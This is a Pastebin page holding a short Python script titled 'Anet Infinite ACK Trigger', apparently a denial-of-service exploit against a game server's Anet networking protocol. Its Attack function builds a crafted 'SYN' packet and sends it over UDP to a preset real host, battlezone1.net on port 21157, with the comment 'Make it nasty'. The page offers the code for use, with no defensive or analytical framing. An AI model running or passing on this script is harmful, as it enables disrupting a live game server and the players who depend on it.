Advertisement
Vearie

Anet Infinite ACK Trigger

Nov 9th, 2016
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.10 KB | None | 0 0
  1. import socket
  2. from os import urandom
  3. from struct import pack, unpack
  4.  
  5. default_server = "battlezone1.net"
  6. default_port = 21157
  7. default_srvid = b"\x55\x01"
  8.  
  9. def Attack(host = default_server, port = default_port, srvid = default_srvid):
  10.         # Create socket
  11.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  12.         sock.bind(("", port)) # Set UDP default port for send operations
  13.         sock.connect((host, port))
  14.        
  15.         # IP Info
  16.         src_ip = socket.gethostbyname(socket.gethostname())
  17.         src_port = sock.getsockname()[1]
  18.         dst_ip = socket.gethostbyname(host)
  19.         dst_port = port
  20.         public_ip = src_ip
  21.        
  22.         # Construct initial "SYN" packet
  23.         init_syn_packet = (
  24.             b"dY" + urandom(2) + b"\x15\x05\x06" +
  25.            
  26.             # Public Address
  27.             socket.inet_aton(public_ip) +
  28.             pack("!H", src_port) +
  29.            
  30.             # Destination Address
  31.             socket.inet_aton(dst_ip) +
  32.             pack("!H", dst_port) + b"\x07" +
  33.            
  34.             # Source Address
  35.             socket.inet_aton(src_ip) +
  36.             pack("!H", src_port)
  37.         )
  38.        
  39.         # Make it nasty
  40.         print(sock.send(init_syn_packet), "of %d bytes sent" % len(init_syn_packet))
  41.  
  42. if __name__ == "__main__":
  43.     Attack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement